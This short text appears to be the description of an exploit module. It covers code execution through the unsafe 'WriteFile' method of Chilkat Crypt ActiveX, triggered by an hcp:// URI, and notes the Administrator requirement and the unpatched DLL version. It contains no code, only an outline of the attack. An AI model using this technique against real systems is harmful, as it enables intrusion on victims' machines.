					This module allows attackers to execute code via the 'WriteFile' unsafe method of
				Chilkat Software Inc's Crypt ActiveX control.

				This exploit is based on shinnai's exploit that uses an hcp:// protocol URI to
				execute our payload immediately. However, this method requires that the victim user
				be browsing with Administrator. Additionally, this method will not work on newer
				versions of Windows.

				NOTE: This vulnerability is still unpatched. The latest version of Chilkat Crypt at
				the time of this writing includes ChilkatCrypt2.DLL version 4.4.4.0.
